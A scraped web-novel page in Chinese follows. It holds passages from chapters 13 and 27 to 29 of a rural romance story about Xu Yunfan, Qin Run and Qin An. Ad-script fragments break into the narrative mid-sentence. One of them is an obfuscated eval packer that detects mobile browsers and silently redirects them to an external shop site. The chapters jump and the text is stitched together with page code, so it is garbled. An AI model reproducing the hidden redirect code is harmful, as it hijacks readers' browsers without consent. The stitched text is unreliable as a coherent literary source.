“好。”许云帆又道:“待会如果借到工具和木料,下午我就不跟你下地了,可以不?” 秦润从没想过让许云帆跟他一块下地,许云帆愿意去,他自然高兴,不想去,他也不强求,“嗯,你累了就在家休息,我可以自己做。” 这个时辰,秦奶奶他们也回家吃饭了,一大家子十几口人,坐的坐,站的站,堂屋好像没有落脚地了似的。 许云帆站在门,秦家几个孩子看着他,看傻了眼,捧着饭碗都忘了扒饭。 秦大娘好笑的看几个孙子一眼,“你们几个,赶紧吃饭,许小子,你别介意啊。” 许云帆摇摇头,笑一声,他已经习惯被人注目了,“没事,他们还小呢。” 秦大娘这三个孙儿,最大的不过八岁,最小的那个,还穿着开裆裤露着小鸟呢。 许云帆伸手在最小的那个脸上捏了捏,手感还不错,还算有点肉,“吃饭啦小家伙,你可以一边看叔叔一边吃饭,没准还能多吃半碗呢。” 秦大娘笑起来,“你们吃过了吗?没吃正好 13. 第 13 章 《夫郎家的小相公他超甜》全本免费阅读 秦润放下木料,应了一声,见秦安满头大汗,“你去后院晒玉米了?” “嗯嗯。”秦安跑进厨房,从水缸里舀了一瓢水,“大哥,喝水。” “谢谢。”秦润接过,并没有喝,而是给许云帆,“喝吗?” 许云帆:“你先喝吧,我不渴。” 许云帆整理着木料,“你们中午睡午觉吗?” 秦润道:“不睡。”他还要上山呢。 秦安自然也不午睡,后院那么多玉米等着脱粒呢。 “那我就开工了。”既然没人睡,就不用担心打扰到谁了。 秦润歇息小半时辰,拿上一把柴刀,对许云帆、秦安道:“我上山了。” “这会这么热……”许云帆话没说完就卡壳了,昨天,他不也是大中午的就跑吗。 秦润走了,秦安乖乖拿着一个矮凳,坐在屋檐下阳光照不到的地方,双手撑在膝盖上拖着下巴,“哥夫,你在做什么呀?” “我在做推车呢。” “推车是什么呢?” “推车就是跟牛车差不多的一种木车,不过它不用牛拉,只需要人推着就可以了,你大哥每天挑玉米,挑个一两担的还成,连续挑几天,肩膀还成要吗?” 秦安一听,知道哥夫做推车是给大哥做的,虽然他不知道推车到底是什么,但哥夫给大哥做,他就高兴,“用推车可以载玉米推回来对吗?” “对的,安哥儿很聪明。”许云帆边忙活,边夸了一句。 许云帆不知道,在镇上,也就是在清河镇,推车其实是有的,只不过它比较小,栽重不行,没有那么普及,一辆推车就要近一两的银子,村里人,谁舍得买啊! 直到秦润回来,许云帆一个轮子都还没做出来。 为了不让村里人见到许云帆这个奇奇怪怪的箱子,秦润特意绕路走,从自家后面那座山下来,路上一个人都没遇上。 发现秦润扛着皮箱回来,许云帆放下手中的工具,几步上前接过自己的皮箱,拉杆一拉,立马拉进房间里去。 秦润顿在外头,有关那箱子里装了什么,他虽好奇,许云帆未开口,他也不好意思跟着进去。 没见秦润进来,许云帆从门口伸出一个头,“秦润,干嘛呢,进来呀,我给你看看我的好东西。” 皮箱里,装着许云帆两套换洗的衣物,还有几套要送给小表妹大表姐她们的化妆品,剩下的,便是他朋友在国外买给他的零食,因为是提前回国,吃不完的零食,他全部塞进皮箱。 许云帆家有钱,但他从不会搞浪费那一套。 别的富二代富三代是怎么样的,他不知道,他只知道,自小,他外公便在他耳边叨叨的说他们那个年代有多穷,饭都吃不饱,现在有钱了,也不能铺张浪费啦~ 加上他在表哥那里待过一个暑假,见识过村里的孩子,连巧克力是什么都不知道,他们的零食,多是那种一毛两毛的雪条,或者五毛三毛一包的干脆面。 许云帆的表哥见表弟难得来看自己,特别大方的,据他本人所说,算是拆巨资给他买了一根两毛钱的,就上层有几口红豆的雪条吃,许云帆没被感动到,只觉得自己看错了人。 因为见过真正的贫穷,许云帆改了很多习惯,以前吃不完的东西,他看都不看一眼,后来……这都是钱,丢了浪费。 因为这个习惯,以至于让他现在还有一口零食吃。 许云帆拿出一包面包递到秦润面前,“这个好吃,给你。” “这是什么?”秦润接过面包,翻来覆去的看,因没见过,他不知这玩意是吃的还是用的,但看上面的图形,他眼睛亮了几分。 “这是面包。”许云帆从秦润手中拿过面包,撕开包装袋,顿时,一股甜香飘进鼻孔。 秦润从未闻过这么香甜的味道,口中不断分泌唾液,目光落在手中的蛋糕上,舍不得吃。 他把面包递到许云帆面前,“我不吃,你吃。” 这样的好东西,许云帆应该爱吃,不爱吃,他箱子里也不会有了。 “给你吃,我以前吃过了。”许云帆确实不怎么爱吃零食,相比于吃这些,他现在更想吃肉。 “我可以给安哥儿吃吗?” 许云帆知道,秦润是个好兄长,蹲下去又找了一包出来,“你吃你的,他也有份,不用特意给他留。” 秦润很高兴,许云帆的给予,让他觉得开心,许云帆愿意将这么好吃的东西分给他们,是不是也把他们自己人看了呢? 他接下面包,跑出去喊秦安过来。 许云帆关好皮箱,将其推到床下。 “哇~大哥,这个真的是给安哥儿吃的吗?”秦安不太敢相信,闻着面包的甜香味,口水都快流出来了。 “嗯,你哥夫说了,给你吃的。”秦润拿起自己的那一份,咬了一小口,随即,眼睛享受的一眯,“好好吃。” 他将没咬过的那一边递到许云帆面前,不说话,一双眼睛却看着他,意思不言而喻。 许云帆逃避般的避开他的眼光,“我不吃,我吃多了,都觉得腻了。” 秦润满是期翼的目光暗了下去,失落的收回手,嘴里的美味像是变了味,不再甜到心坎里去了。 有种食不知味的感觉。 许云帆看到了秦润眼中的失落,心中也不是滋味,有种酸酸涩涩的,好似一口气堵了胸口,压抑的慌。 为什么要这样呢? 不就是一口面包吗? 他为什么要拒绝秦润,从而让两个人都不开心不舒服呢? 许云帆拉过秦润的手,一口咬在那块被秦润咬过的面包上。 “太甜了,我不爱吃,你自己吃吧。”许云帆注视着秦润发亮的目光,嘀咕一句,“这下开心了吧?小样的,长的好看就是不一样,憋个嘴都怪让人心疼的。”不行的话,他可以勉为其难再吃一口。 许云帆的话语像一记闷棍,重重的砸落在了秦润的心里,让他的骨血,乃至心肺都在叫嚣。 秦润低垂着脑袋,轻轻“嗯”了一声,心脏扑通扑通不安分的狂跳。 他刚刚没听错吧? 许云帆说了什么? 许云帆说自己好看,他在心疼自己!
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脸一扬,“你要赶我走?你别误会,我跟她们说你是我的夫郎,不过是为了避免一些不必要的事。” 秦润抬起头来,异常认真的说:“我不赶你走,但你总有一天会走的。” 夫郎不夫郎的,他倒是不介意,他巴不得许云帆把他当夫郎看。 “我走,那不是也要把你们带上的吗?”许云帆很理所当然的说:“我去哪,你跟安哥儿不是要跟着我去的吗?所以,我就算走,离开大梨村,但我却不会离开你。” “真的?你不会离开我们吗?” 许云帆拿出了十七八岁少年人罕见的,少有的耐心,“骗人是小狗,怎么,你是不是还要跟我拉钩上吊一百年啊!” 秦润还真放下鸡笼,伸出小拇指,许云帆傻了一瞬,脸上露出无奈又纵容的表情,“真是服了你了。” 说着,他也伸出小拇指,“拉钩上吊一百年不许变,谁变谁是狗,这样可以了没有?” 秦润这才笑了起来,“你把背篓给我,你提着这只鸭好吗?” 背篓比鸭重多了。 “不用,我背的动。” “我来背。”秦润异常的坚持。 许云帆拗不过,最后一手抱着一个麻袋,一手拎着一只六七斤重的鸭子,“你怎么买鸭子了?这么大,再养下去,该成老鸭了。” 秦润开心道:“我去买鸡的时候,卖鸡的大叔看我买的多,就问我要不要买鸭,这只鸭子最近不吃东西,一条腿被木板砸到了,估计养不活就便宜卖了。” 秦润便想着买给许云帆补补身子。 一斤鸭七文钱,一斤□□文钱,不过秦润买的是小鸡,按个头卖的,一只六文钱,他买了六只母鸡,一只公鸡。 许云帆粗略的算了一下,七只鸡,一共去了四十二文。 十五斤精米去了六十文,买肉跟油去了二十三文,鸭子去了四十文,因为是便宜卖的,七斤的鸭子便宜了九文…… 加上后来他去买了五斤小麦,四斤的糯米,还买了半斤的白芝麻。 这么一加起来,今天一共花了九百六十文钱,将近一两了。 乖乖,十两银子果然不经造。 许云帆想到秦大娘家,“秦润,之前那些木料,大概需要多少钱?” “你要还钱?”秦润以为,那笔钱应该他来还的,今天许云帆买的已经够多的了。 “当然,我不还谁还?都是一家人,你可别跟我这么见外。” 许云帆又说:“还有你之前借的米,回到家,我给他们还去,再给他们一斤肥肉,也算是还你借的油了,那些油,也不知道是拿多少肥肉煎出来的,不过,这种事,我宁可还多也不愿还少了。” 省得有的人说他们贪便宜,借的多还得少。 秦大娘对秦润兄弟好,许云帆倒不心疼多送一点肉,俗话说得好,雪中送炭难,锦上添花易,当初小秦家一穷二白,秦大娘都能给他们借米借油借木料,没追着他们还,还时常接济他们,这份情,他们得承。 秦润突然问道:“昨天晚上你到秦大娘家了对吗?” 27. 第 27 章 许云帆本不想说,怕秦润会尴尬,毕竟十八岁的少年人,多数是要面子的,哥儿应该也不例外,但秦润问了,他还是点头,“抱歉,我不是故意偷听的,主要是那个女人的嗓门有点大。” 他不想听到都不行。 秦润显得很尴尬,不自然的开口:“秦大娘他们还是挺好的,我去……次数多了,秦大嫂难免不舒服。” “你父亲之前救过秦爷爷,所以他们才对我们家这么好的吗?”许云帆问道。 秦润摇头,“秦大娘他们为人还是很好的,当年秦爷爷落河,不会游泳,是父亲跳下去把他救上来的。” “后来,有一年下大雪,秦大哥秦二哥不知道怎么回事,半夜发热了,秦木叔与秦大伯都不在家,也是父亲深夜冒着危险去镇上把大夫请来。” 如果没有秦父,只怕秦大秦二早烧没了,当时大夫说了,再晚点,孩子不死也得烧傻了。 这等恩情,秦家人铭记于心,自秦父走后,秦润年纪小,他奶奶的丧事,皆是他们帮忙一手操办,其他事上,也是多次帮秦润的忙。 许云帆知道,冬天天气冷,一个不注意,孩子就很容易感冒发烧,体质弱的孩子很容易被传染,在古代,这种小病却是能要命的。 对秦大娘他们而言,秦父这份恩确实挺大。 不过,那都是父辈的事,许云帆与秦润不认为,因为秦父的恩情,秦家就该无怨无悔不计回报的帮他们的忙。 走到一半,许云帆肚子饿了,咕噜咕噜直响。 秦润道:“那边的树荫下面有块大石头,平时村里人赶集回来,累了的话就会在那休息,我们先歇会,吃点东西再回去吧。” “好。”许云帆放下手上的鸭子,感觉整只手都是鸭毛的臭味,嫌弃的直皱眉头。 秦润见了,拉扯着许云帆的袖子,“你跟我来,这边有个泉眼,可以在那里洗手。” 许云帆洗了手,依旧觉得手上还有点味,闻了两下又使劲搓起来。 知道许云帆爱干净,秦润轻叹一口气,“你别搓了,手心都搓红了,你不用那只手抓东西吃就好了。” 许云帆心情不好时,说话会有点瓮声瓮气的,带着点鼻音,听了会让人觉得,这家伙是在对你撒娇似的,让人心软得要命。 秦润最受不得许云帆这样了,这样的许云帆会让他产生一种黑暗而又肮脏的,想把许云帆狠狠给“欺负”一顿的念头。 听了秦润的话,许云帆这才作罢,从背篓里拿出肉包伸到秦润面前,问他:“你吃包子还是吃饼干?” 今早秦润没吃饼干,打算留着回来的路上休息时吃,没想到许云帆还买了肉包,对此,他回答的毫不犹豫,“吃包子。” 饼干能留就先留着。 许云帆递了两个肉包过去,秦润摇摇头,“我吃一个就够了。” “一个就够了?你现在还在长身体,不吃饱怎么行?”许云帆想,十七八岁的年纪,正是能吃的时候,一个肉包给他塞牙缝都不够。 秦润暗道,还长身体?他再长下去,汉子都没他高,以后不得更丑了? 许云帆像是知道他在纠结什么,“你这样的,在我那边就是这个,”他竖起大拇指,“你别不信,我不否定你们这里的审美观,但我觉得,好看的皮囊千篇一律,你不用太过在意,强迫自己去符合大众的审美,为了他人的目光而活,从而苦了自己,让自己受委屈,那样做大可不必。” 听了许云帆的话,沉默一瞬的秦润接过包子一口咬下去,口齿间全是肉香味,享受的让他眯起眼睛,像只感到惬意的猫咪。 许云帆看着可爱又俊郎的秦润,胃口都变好了,一口气吃了两个包子。 这时候的包子,皮薄馅大,许云帆几天没吃肉了,竟觉得口中的包子,前所未有的美味,吃了两个,由觉得不够,又拿出烤红薯来开吃,一连干掉三个才算满足。 …… “表哥。”周清歌一进门,直往齐修泽的院子冲,人未到声先至。 齐修泽听到熟悉的嗓门,手一抖,毛笔尖一弯,得,辛苦一早上画出来陶冶情操的画又废了。 齐修泽咬咬牙,将毛笔重重一放,“这个死丫头,今天又惹到我了,娘的。” 嘴上骂着,齐修泽挽起袖子,做势要出去揍人。 对齐修泽这个大少爷来说,不管男女还是哥儿,谁敢惹他,照揍不误,哪怕是表妹,该打的时候也绝不含糊。 当齐修泽跑出书房,拳头已经握好了,却不见周清歌的身影,反而见到了一位俏丽的少女。 少女长的很好看,不不不,或许应该说,少女脸上的妆,浓淡相宜,不经让人眼前一亮。 齐修泽不确定的问了一句,“你是周清歌?” 他记得,周清歌早上出门,穿的就是这套衣服,连首饰都是一样的。 可眼前的人,明显不是他表妹啊! 他表妹,眼睛没眼前这个这么大,鼻梁没有这么挺,还有那睫毛也没有这么浓这么翘,而且脸型也不一样,这人分明是瓜子脸,而他表妹,脸大概得有盘子那么圆吧。 当然,周清歌的脸哪有那么圆,纯粹是齐修泽眼睛长头顶上,挑剔的。 周清歌见齐修泽这幅不敢确认的样,骄傲的嗯哼一声,双手插腰,小脸上仰,“没错,就是我,表哥,怎么样,是不是大开眼界了?我早说过了,一旦我梳妆打扮了,就你这样的,还高攀不起我呢。” 闻言,齐修泽直接一巴掌拍过去,打在周清歌背上,“放屁,你就涂了一层粉又不是换了一张脸,我还高攀不起?我看你是脑子进屎了才不要脸的说出这些话来。” 周清歌不甘示弱,一巴掌也打回去,“总比你好,你看看你长的尖嘴猴腮的样,嘴巴又毒,难怪十八了连个媳妇都没有,我告诉你,就你这样的,注定一辈子讨不到媳妇。” “放屁。” 齐修泽长的一表人才,因为自己长的实在太好,揽镜自顾惯了,每天都会被自己帅醒的人,眼光可不就高了吗,自认天下没有配得上他这幅天人之姿的人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,“你才长得尖嘴猴腮,那帮胭脂俗粉,老子还看不上呢。” 周夫人过来的时候,这对表兄妹正互掐着,嘴上互损的厉害。 旁人都快听不下去了。 也不知道这对表兄妹是怎么回事,每次见面总能一言不合就干起来,明明这样了,可两人的感情却又比旁的人好。 “就你这张臭嘴,跟吃了屎似的,眼瞎的人才能看得上你。”周清歌被齐修恒追着跑,发现自家娘来了,直接躲到周夫人身后。 周夫人头疼的喊:“歌儿,你快停下,哎呀,你们两个皮痒的,多大了还打打闹闹,简直不像话。” 齐修泽看到舅娘来了,心不甘情不愿的站到一边,这时候,周夫人才发现女儿的不同之处。 周夫人眨眨眼,揉揉眼再看,“你是我的歌儿?” 周清歌自然知道周夫人为何如此,笑了一声,“当然了,娘,你是不是认不出我来了?” “哎呀,还真是我家歌儿,歌儿,你怎么变成这样了?”周夫人眼睛亮晶晶的,她也是女人,自然也爱美。 周清歌将许云帆的化妆品说了一遍,“这个妆就是他给我化的,怎么样,是不是很好看?” “好看,哎呀,这海外的东西当真神奇,歌儿,可否让娘看看那许公子说的化妆品?” “可以。”周清歌让侍女拿出从许云帆手上买来的化妆品,几万块钱买的高档货,那包装盒就不是盖的,不说周夫人,就连齐修泽都觉得好看。 “好精致啊,这就是你说的眉笔?”周夫人拿起眉笔看了看,却不知道该怎么用。 周清歌拿过眉笔,一一介绍。 齐修泽好奇的拿起一支口红,刚想试试是不是那么好用时,周清歌一巴掌拍在他的手背上,把口红夺回来,“你个大老粗,小心点,它很容易断的,它要是断了,你拿什么赔我?” “小气鬼,大不了我再跟他买一支赔你。”齐修泽气道。 周清歌翻了一个白眼,“这是他从海外带回来的,只剩这一套了。” “要是这东西,他有个几十套,也许我还可以跟他合作呢。”齐修泽不由得惋惜。 周清歌:“放心,他肯定还有其他好东西,我跟他说了,到时候我带你去。” 提着一只鸭回去的许云帆并不知道,这会,他已经被人惦记上了,听着鸭子不时嘎嘎的叫声,还沉浸在今晚吃鸭肉大餐的喜悦中呢。 回到村口时,正是晌午,烈日之下,不说大人了,就是一个孩童都不见。 许云帆倒是能理解,现在正是农忙的时候,不下地,不午睡的,上到七十老叟,下到蹒跚学步的孩童,谁不在家剥玉米粒。 村里不时响起一两声鸡叫,莫名让人感到一阵寂寥。 许云帆紧步跟在满头大汗的秦润身旁,两人步调出奇的一致,秦润手上拿着一根长长的芭蕉叶用来遮阳。 芭蕉叶的茎杆在秦润手里,以至于秦润自己没的遮,反倒是许云帆被遮的严严实实,一点阳光都照不到他身上。 28. 第 28 章 许云帆提议过他背背篓拿芭蕉叶的,秦润不让,固执又执拗的,尽可能的不让许云帆受一点累。 秦润推开院门,喊了一声,“二弟,我们回来了。” 家里,秦安在后院剥玉米粒,后院有一处茅草房,里边放着几张竹席,其他竹席拿去晒玉米了,茅草房里空出很多空位,秦安捡了半背篓玉米坐到茅草房里剥,剥完了拿去倒,晒好,再继续捡其他玉米棒拿去剥粒。 秦安剥了几天玉米粒,手上起的水泡破了一个又一个。 他没喊,连一个疼字都没喊。 听到前院传来开门的声音,秦安专注的眼神一亮,放下手里尚未剥完的玉米棒,跑了出去,开心大声喊着:“大哥,哥夫。” 秦润见到秦安从后院跑出来,便猜到他在后院做什么了。 他把背后放下,“吃过午饭了吗?” 秦安点了点头,“吃过了。”他把早上剩的粥给喝了。 现在天气太热,白粥留到晚上,会有点酸,用精米煮出来的粥,秦安舍不得喝,想留给大哥与哥夫喝,想到大哥与哥夫带了烤红薯,临出门时说他们可能赶不回来吃午饭,让他不用煮他们的饭,他才把粥给喝了。 许云帆把挂在肩膀上的麻袋解下来,又把鸡笼交给秦安,“安哥儿,你把小鸡放到鸡笼里去。” “哇!” 秦安这才注意到几只被热的连叫都不愿叫的鸡鸭,眼睛亮晶晶的,眉眼间具是欢乐,“哥夫,你买了鸡呀,我们家是要养鸡吗?” 秦安不确定,这些鸡鸭,有可能是哥夫帮谁买的,他们家哪来的钱买呢。 “是我们家的,哥夫不会养鸡,听你大哥说,咱们安哥儿是家里的养鸡小能手,安哥儿愿不愿意接下这个艰巨的任务,把小鸡崽养的肥肥胖胖的呢?” 许云帆还挺喜欢这个看起来有点呆头呆脑,笑起来却干净明亮的小朋友,与他说话,也很有耐心。 秦安还小,或许是因为长得瘦小的缘故,衬得那双眼更大了。 他的眼睛很大,眼角是圆的,配上那张精致软萌的脸蛋,软软糯糯的样子,看起来无辜又可爱,眼尾微微上扬的弧度,一笑起来,更是好看, 许云帆看着,仿佛在秦安身上看到了秦润小时候的影子。 心下不由得对秦安更疼了两分。 “愿意,哥夫,安哥儿最会养鸡崽了,我可以每天给他们挖蚯蚓找虫子吃。”秦安的杏仁眼都笑弯了。 一听到虫子,许云帆面色一僵,“挖蚯蚓可以,找虫子……还是算了吧。” 秦安道:“不行的,鸡崽吃了虫虫,才能长得更快更肥。” 他说着,欢喜的拿起鸡笼就往外走。 秦润把一个破了几个洞的箩筐找出来,将被绑了翅膀的鸭子给罩住,再拿一块石头压在上面,防止鸭子顶开箩筐跑了。 许云帆洗了洗手,与秦润将买来的东西一一归置,粗布棉布拿回房间,米、面、盐放到缸里放好。 秦安放好鸡崽,跑过来舀了半瓢水,又哒哒的跑了出去。 许云帆看到肉包,脖子朝厨房外一喊,“安哥儿,外头太热,不要晒到了,进来吃肉包子啊,你大哥给你买好吃的回来了。” 秦安哒哒的跑回来,来回跑了两趟,小孩子脸上红扑扑的,细密的汗珠渗湿了额角的绒发,“哥夫,真的有肉包子吃嘛?” “当然了,”许云帆笑了笑,“去洗洗手,然后吃包子。” “嗯。”秦安使劲点了点头,立马去洗手了。 因为天气热,包子凉了也不要紧,就算是肉馅的也不会结油。 村里人没有那么多讲究,秦润没想过要把包子再热一热,直接将剩下的两个肉包递给秦安。 秦安接过包子,却为难了起来,三个人,两个包子怎么分呢? 他纠结的不行,以至于眉心紧皱在一块,像是在思考什么人生大事。 许云帆与秦润忙着,自然顾不上他。 买回来炼油的猪板油,趁它没臭,该炼油的赶紧洗干净切起来。 还有那一斤肥瘦相间的肉,今晚要吃鸭,秦润便打算把它炒出油,再放点盐把它炒干一点就不用担心会臭了。 秦润买的那只鸭,今天看着还算有力气,但天气热,它不喝水不吃东西,留着恐怕会死,活的时候不杀,难不成要留它死了再杀? 许云帆一万个不愿意,回来的路上就嚷着今晚必须杀了吃鸭肉。 所以,这会,两人忙的很。 许云帆负责烧火,正准备点火时,一只小手抓着一个比小手还要大的白乎乎的肉包出现在他的眼前。 许云帆看过去,秦安便道:“哥夫吃包子。” “我吃过了,这是留给安哥儿的。” 秦安以为许云帆是骗他的,在他看来,香喷喷的肉包子很贵。 他以前出门,那些小孩说了,一个肉包子两文钱,是拿白面做的,可香可香了。 这么香的包子,他已经好久没吃过了,但是,他知道,有好东西,要与大哥分享,因为大哥是他最亲的人。 现在哥夫来了他们家,哥夫自然也是他第二个最亲的人了,加上哥夫之前还生了病,秦安想了很久,大方的把一个肉包分给他。 听到许云帆在骗他,只能说,兄弟就是兄弟,秦润执拗,秦安好像也没落到哪去。 他把肉包子往许云帆面前怼了怼,要不是许云帆反应快,这肉包子非得怼到他鼻子上,糊他一脸不可。 许云帆头往后仰,不让包子怼到自己脸上来,好笑的伸出右手握住秦安的手腕,“我真的吃过了,许哥现在还不饿呢,吃不下了,听话,你自己吃,许哥要烧火了。” 秦安听了,懂事的点点头,在许云帆松开他手的时候,转身就去破旧的碗柜里拿出一个碗,把肉包放进去,留着给许云帆吃。 然后,他跑出厨房,在厨房门口的屋檐下,把剩下的包子掰开,大的,馅料多的那一半拿到蹲着身洗肉的秦润嘴边,试图喂给秦润吃。 因为秦润这会洗着肉,不方便抓,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12754169|134565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大哥吃,肉包子,好香的!” 秦润欣慰的笑了,“二弟自己吃,我已经吃过两个了,不饿。” “大哥吃。”秦安又重复这句话,这么好吃的肉包子,他不可以自己一个人吃的,也要给大哥吃。 许云帆伸出头看在屋檐下互相推让的兄弟,莫名心酸,“安哥儿,你自己吃吧,你大哥跟我都吃不下了,那两个肉包是给你买回来的,你再不吃,我们也不吃,留到晚上就不能吃了。” 秦润听了许云帆的话,视线落在面前的小手上,看到秦安手心里的水泡,眼眶一热,将头埋进秦安怀里蹭了蹭,闷闷的道:“是的,二弟自己吃。” 被秦润这么一蹭,感觉有点痒,秦安顺势将秦润的头环住,忍不住咯咯咯笑出声。 许云帆不会生火,搞了好一会,火灶里浓烟滚滚,可他娘的火就没起。 许云帆被呛的连连咳嗽,眼泪都被浓烟熏出来了。 见状,秦安顾不上跟秦润亲昵,将肉包子放到碗里,蹲到许云帆身边,拿起旁边放置的,由一截细竹筒打通做成的吹火筒吹了起来。 秦安这一吹,一股浓烟涌了出来,许云帆受不住,快速起身跑出厨房,一滴眼泪还挂在睫毛上。 秦润抬头看去,嘴唇抿了抿。 许云帆正好朝他看过来,顿时就气了,“你笑我?” 秦润抿嘴摇头,嘴上没笑,可眼里的笑意,怎么藏也藏不住。 生火这么简单的事,秦安三岁就会了,许云帆十几岁的人,生个火还被烟熏得眼泪汪汪的。 明明他那么聪明,会做其他村民不会做的推车,掌柜用算盘没算出来的账,他一下子就算出来了,甚至还能化出那么好看的妆,在秦润心里,这样的许云帆已经很厉害了,结果他居然不会生火,这反差,就很可爱。 许云帆看着秦润眼里的笑意,恶意顿生,自认为恶狠狠的撂下一句狠话,“我让你笑,总有一天,我要让你哭,哼。” 撂完狠话,许云帆又冲进厨房,这时候,火已经被秦安生好了。 大哥买了那么多肉,秦安高兴,包子都顾不上吃,知道大哥要炼油,他便把灶台上的锅给洗干净。 许云帆站在一旁帮忙打水,看到秦安手心的水泡,赶忙将秦安的手拉到自己面前,异常严峻问:“怎么长了这么多水泡?” “剥……剥玉米粒长的。”看到许云帆严肃的脸,秦安有点慌,以为自己做错了什么,话语里,充斥着满满的不安。 秦润洗好肉进来,许云帆又拉过秦润的手,这一看,才发现,秦润的手心里也长了几个水泡。 “你的怎么也长了这么多水泡?” 两人一起掰玉米,许云帆的手心好好的,怎么秦润的手就这样了? 秦润低头看着抓着他的手,再看看自己的,两只手,像是泾渭分明的两条河流。 许云帆的手指,细长白皙,粗细均匀,哪怕做了几天的农活,他的手,依旧白皙光滑,就跟他的人一样,好看得很,让人挑不出一丝瑕疵。 29. 第 29 章 秦润的视线落在自己的手上,因长年劳作,他的指甲沟是灰色的,指腹上的茧也泛着淡淡的黄,这种颜色,无论他怎么洗都洗不掉。 他的手虽不像其他老人那般粗糙皲裂布满老茧,骨节突出,但总归是干惯了农活,无论是手心还是手背,布满了伤疤,一条又一条,有锋利的草叶划出来的,也有被刀割伤的,他的左手食指上,几道刀伤更是醒目。 许云帆的手,触感软软的,不像自己,又硬又糙。 相差如此大的两只手,秦润只看一眼,便滋生一种自惭形秽的自卑来。 秦润抽回自己粗糙的手,背到身后,支吾着与秦安说出一样的说辞来:“剥、剥玉米粒长的。” 许云帆吸了一口气,“你白天跟我下地掰玉米,哪来的时间剥玉米粒?” 难不成这人还会分身术不成? “就、就早上。” “早上?” 秦润每天天不亮就出门了,难不成他是凌晨天黑的时候起的? 许云帆想,油灯那么贵,秦润舍得点油灯用来剥玉米粒? “你摸黑剥的玉米粒?”许云帆算是服了。 秦安剥玉米粒的时候,他是见过秦安怎么搞的,也不知道他们去哪里弄来一根带手柄,长约六寸的铁锥子。 秦安告诉他,那玩意叫玉米锉子。 玉米锉子的头很尖,使用时,一手拿玉米棒,一手握玉米锉子,从玉米棒小头向下锉,起开一道道口子,便于用手剥玉米粒。 许云帆一口气堵在喉咙口,“那玉米矬子那么尖,要是不小心弄到手了怎么办?” “不会的,我很小心,不会伤到手的。”他的手要是受伤了,还有那么多玉米地没收,那可怎么办? 许云帆叹气,他知道,最近太忙了,他们家人少,这些事,只能挤出时间来做。 如果有的选择,秦润难道不想睡到天亮吗? 如果有的选择,谁愿意活的这么累呢? 还不都是选无可选,秦润想过的好,带着弟弟吃饱穿暖,要走的路只有一条,那就是辛苦工作拼命干活,因为没有其他的路走,自然也就没有别的选择了。 许云帆看眼外边的日头,今天在杂货铺,他看到蜡烛卖了,秦润不让他买,说那玩意死贵。 白天太忙,晚上又热的不行,如果在火推边剥玉米粒,热都能热死人。 许云帆想了想,买不起的东西,只能自己造了。 不就是蜡烛吗? 这玩意简单。 他问秦润,“我们家有多余的灯芯吗?我有用。” 许云帆的话题跳跃太快,秦润有点跟不上,默了一瞬才说有。 灯芯这玩意不值多少钱,柴房里就有几截。 许云帆记得他找竹筒装水时,在柴房里看到一个落灰的陶罐,之前他上山,看到山上有不少松树。 于是他背起背篓,拿出家里的柴刀,转身出门前不忘嘱咐秦润,“我出门一趟,还秦大娘家的肥肉,你吊到井里,不然有味了再拿去送人不好,傍晚我再陪你一起送过去。” 中午剩的钱,许云帆将其给秦润收好了,秦润看许云帆花钱大手大脚,便接了过来。 这会许云帆这么说,秦润就知道,他今晚去秦家还有别的事。 “好的。”秦润略略不安的跟在许云帆身后走了几步,迟疑道:“你要去哪?” 在镇上,许云帆说过,他不会走,但秦润不放心,这个时辰出去,许云帆能去哪? 许云帆转过去,伸手捏了捏秦润的脸,“我上山一趟,你放心,我们拉过钩的,你忘了吗?” 秦润摇摇头,“没忘,那你快点回来。” 他想说,中午太热,不要出门了,可他也知道,许云帆不是那种会亏待自己的人,能冒着大太阳出去,想必是有重事。 许云帆那天跑路的时候看到山间还长有一些竹子,所以他也没问秦润村里哪里有竹子。 爬到半山,许云帆见到几颗大松树,立马上前查看。 山上的松树多,松油这玩意更是不少,许云帆用柴刀将其抠下放到背篓里,直到装满背篓才停下来。 随后,他又去往长有竹子的地方,挑选了一根直径有两厘米左右的竹子砍了,用其制作蜡烛模具。 在山上忙了一个时辰,下山的时候,一些村民已经开始出门下地了。 路上,许云帆碰上一些不认识的村民,有的人看了看他,随后扭头就走。 有的见到他,热情的朝他挥挥手打招呼,“许小子,你上山了?这么热的天怎么上山去了?” 许云帆不认识人,但看对方的年纪,认不认识有什么关系,一例喊大哥,往年轻了喊就对了。 这男人其实跟女人是一样的,明明三十几岁了,还被一个十几岁的小伙子喊大哥,谁能不高兴。 “大哥,现在就下地去啊!我在山上捡了一些松油回去。” 那汉子往许云帆背篓里看了一眼,悟了,“这东西叫松油?你拿回去做火引吗?这东西用来烧火确实好。” “嗯,家里细柴不多了。”许云帆没多说,与大叔唠嗑两句后才走。 他知道了,那些看他不顺眼的,除了李氏族人,还能有谁。 前几天他下了李婶的脸,李氏族人觉得他这是在打他们的脸。 他一个被哥儿捡回来的汉子,不知与他们交好也就算了,居然敢说他们村童生的娘,委实不识好歹。 李氏族人因为李云飞,在村里,那是相当的有脸面。 许云帆才不管他们,脸面,这东西不是别人给的,得靠自己挣。 一个童生老娘,又不是天皇老子他娘,他怕个毛。 许云帆回去的路上,相继与一些或多或少有过一面之缘的村民打招呼。 这些人,都是秦氏或者孙氏的人。 许云帆原本想着,这两族的人还是挺不错的,直到他碰上拿着一盆衣服往河边去的秦大媳妇,他才知道,其实也不完全是。 林子大了,什么鸟都有。 昨晚因为秦润,秦大媳妇被秦家人说了一顿,就是她的弟妹与老三家的夫郎都敢站起来在她头上撒尿了。 这口气,她发不出来,只能憋着,这会看到许 